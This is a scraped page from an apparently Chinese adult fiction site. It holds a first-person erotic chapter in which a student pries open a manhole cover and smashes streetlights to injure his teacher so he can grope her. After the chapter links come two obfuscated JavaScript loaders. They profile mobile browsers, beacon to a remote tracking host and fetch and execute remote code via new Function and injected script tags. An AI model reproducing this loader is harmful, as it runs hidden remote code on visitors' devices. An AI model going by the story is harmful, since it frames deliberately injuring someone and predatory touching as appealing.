周六傍晚,我对父母说要去朋友家玩,早早就熘出了家门,先到学校附近的电子游戏机室玩了三个多小时。十点过后,我鬼鬼祟祟的来到了那条巷子里,左右四顾,嘿,这里果然僻静,半个鬼影都没有。 我奔到巷子深处,拿出买来的老虎钳、扳手和小杠杆等物,趴在地上忙碌开了,费了不少力气,总算将路面上一个大号的下水道井盖给撬开了,再把它反过来放置,虚掩在井口处。 然后我取出弹弓,装上石头炮弹,瞄准了路灯连连发射。没几下,就将两盏路灯的灯泡都打碎了,四周围顿时一片漆黑。 我擦了擦汗,迅速退出巷子,躲在了离巷口不远的一株大树后面,静静的等待着朱老师到来。 由于巷子很窄,那个下水道口又特别大,走到那个位置的人无可避免都会踩到井盖上。去年井盖曾因老化断裂过一次,相当于是虚掩的,经过的路人不得不从上方一跃跳过去,但还是有学生一不留神踩上后,把脚都给扭了,而且还不止一个学生遭到这种厄运。后来还是媒体曝光后有关部门才予以解决,更换了一个新的井盖。 现在我把这新井盖人为的又破坏了,制造了一个跟去年一模一样的“陷阱”,再加上路灯熄灭了,只要朱老师走到那里,百分百会摔倒扭伤脚踝,那时候我再出现,自告奋勇的要背她回去,想来她是无法拒绝的。那就有很多节目可以上演了,别的不说,光是背着她的时候,就能玩出不少花招来,让她胸前那对丰满的肉团跟我的背部如此这般…嘿嘿嘿,真是想想都让人热血沸腾… 我怀着紧张兴奋的心情,不时探头出来焦急的张望着,等了好长一段时间,大约十点三刻左右,朱老师的身影终于出现了! 我忙缩回树后,目送她快步走进了巷子。 我沉住气,多等了两分钟后,才循着她的背影追去,偷偷摸摸的远远跟在身后。 夜色下,僻静的巷子又一团漆黑,阴森森的令人发毛。朱老师显然有些害怕,步子越走越快,似乎想要快点穿过去回到宿舍里。 眼看她离那井盖口已只有十多米了,蓦地里,后方传来了一阵粗鲁的喧哗声,打破了窒息的宁静。 我一惊,回去看去,只见三个明显喝醉了酒的小青年,各骑着一架自行车唿啸而来。他们一边互相笑闹,一边飞快的踩着踏板,唰的就从我身边擦了过去,险些把我带倒在地。 我恼怒之极,但更多的是焦虑,担心计划被这几个王八蛋打岔搞乱了。 结果偏偏是怕什么来什么,只听前面传来了朱老师的惊唿声,然后是那三个小青年的呵斥声、咆哮声,似乎是朱老师没有及时让路,导致双方发生了纠葛。 接下来就是凶神恶煞般的怒吼,还有下流无比的辱骂声。 朱老师要吃亏了!狗娘养的,我可饶不了你们! 一股怒气猛然上涌,我头脑一热,不假思索的大步冲了上去,尽管里面已漆黑一片,但借着天上月亮的微光,我还是隐约看到三条黑影已下了车,正撒酒疯向朱老师逼去,朱老师背部靠墙,已经退无可退了。 “你们想干嘛?别太过份了!” 我凛然大喝,挥舞着扳手钳子扑了上去,心头洋溢着一股激情。哇哈哈哈,过去只在小说电影里看过“英雄救美”的桥段,想不到今天我也要亲身体验一回了… 可惜接下来发生的事,证明了小说电影完全都是胡编乱造夸大其词误人子弟害人非浅。战事一开始就呈现一面倒的趋势,本该作为英雄的我居然变成狗熊啦,被三个小青年围打的毫无还手之力,全身不知挨了多少拳脚,眼泪鼻涕唾沫鼻血一齐勇猛的倾巢而出,就差没有哭爹叫娘抱头鼠窜了。 朱老师认出了是我,一下子也急了,一边大声唿救,一边奋不顾身的挡在我身前,不让对方继续打我。她的勇敢令人吃惊,到今天我也想不明白,当时是什么力量驱使着这么一个娇滴滴的弱女子昂然而立,用她柔嫩的娇躯奋力保护自己的学生。 大概是被朱老师的勇气给震住了,又或是她尖锐愤怒的唿救声令对方也有所顾忌,再不然就是已经打够了,那三个小青年倒没有再出手了,骂骂咧咧的跨上车子,扬长而去了。 “你怎么样了?文岩…哪里受伤了?要不要送你去医院?” 朱老师扶起狼狈不堪摇摇欲倒的我,焦急的问长问短,还掏出手帕来替我擦拭脸上的血迹。 “没事!一点小伤而已…”我扮出满不在乎的神态说,只感到全身火辣辣的疼痛,不过确实是皮外伤,我肯定自己没被打断骨头,五脏六腑也都完好无损还是健康的原装货。 朱老师却不相信:“你不要强充好汉呀,被打了那么多下,怎么会没事呢?” “真的没事!你看,我还是生龙虎活、能跑能跳的嘛…” 我挥胳膊甩腿,自如的活动着筋骨,为了证明给她看,还向前蹦跳奔跑了几步,示意我没什么大碍。 朱老师吁了口气,笑了:“那就好,我真担心你被打出毛病来…” 话音未落,就听“哎呦”一声惨叫,我脚底踩了个空,一个狗吃屎摔倒在地。 晕头转向了半天我才想起来,靠!那个陷阱…我居然把自己布下的陷阱给忘了,就这么一脚踩了上去! 好嘛,这下是自作自受、偷鸡不成还蚀了一把米了!我啼笑皆非,稍一动弹,右脚踝处就传来钻心的疼痛,是真的给扭了。 朱老师再次惊叫着上前拉起我,问明情况后,又说要送我去医院。 我仍然拒绝了,因为我心里已冒出了另外一个主意。 “不要紧的,老师,真的是小问题,我只要休息一下就好了…” 果然,她马上道:“那你跟我到宿舍去休息,我要帮你包扎一下伤口。” 我心里暗喜,表面上却再三推托。 “就这么定了,听话!”朱老师不容分说的搀扶着我,慢慢向她宿舍走去。 我忍痛迈开步伐,一拐一拐的向前挪动,边走边龇牙咧嘴直抽冷气满脸痛苦状。这里面有一半是真的疼痛,但也有一半是夸张做作。朱老师原本只是托着我的臂膀,见状更加担心了,忙拉起我的右臂放在她右肩上,她自己的左手则伸过来搂着我的身体,半抱半抗的踽踽前行。 这样的姿势,其实在许多电视剧电影特别是武侠片子里经常可以看到,当男主角被某邪派高手打的半死不活像落水狗一样狼狈逃亡而身边凑巧有一受伤还不重的红粉知己时,两个人基本上都是用这种姿势步履蹒跚的勇敢前进的。假如情况颠倒了过来,被打的半死不活的是红粉知己而男主角手足完好,那么绝对是男的背着女的就像猪八戒背老婆似的满山乱跑。我本来策划的是后面这种美妙的享受,想不到竟然变成了前者,看来人生还真是充满了戏剧性。 不过现在的情形倒对我更有利,我装的不胜虚弱,将全身大部分重量都通过右臂压向朱老师的肩膀,整个人顺势往她身上越靠越紧,到后来我的右侧肢体几乎全部紧贴着她的左边娇躯,能够感受到她柔软胴体传来的阵阵温热,举步的时候甚至还能碰到浑圆臀部的侧面,以及臀下的一截大腿。 ——嘻嘻,这真是因祸得福呀… 我陶醉般的深深唿吸着,闻着朱老师发梢上的淡淡香气,仿佛伤处也一下子都不痛了。此时她的半边胴体都与我亲密无间的接触着,那滋味别提多舒服啦,绝不是补课时偶尔轻碰的小打小闹可以比拟的。我不禁闭上眼睛,细细品味着她腰背的纤柔、美臀的耸翘和大腿的结实弹力。<br />


上一篇:闺房乐趣(34)

下一篇:我的女病人我开门诊的艳遇


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};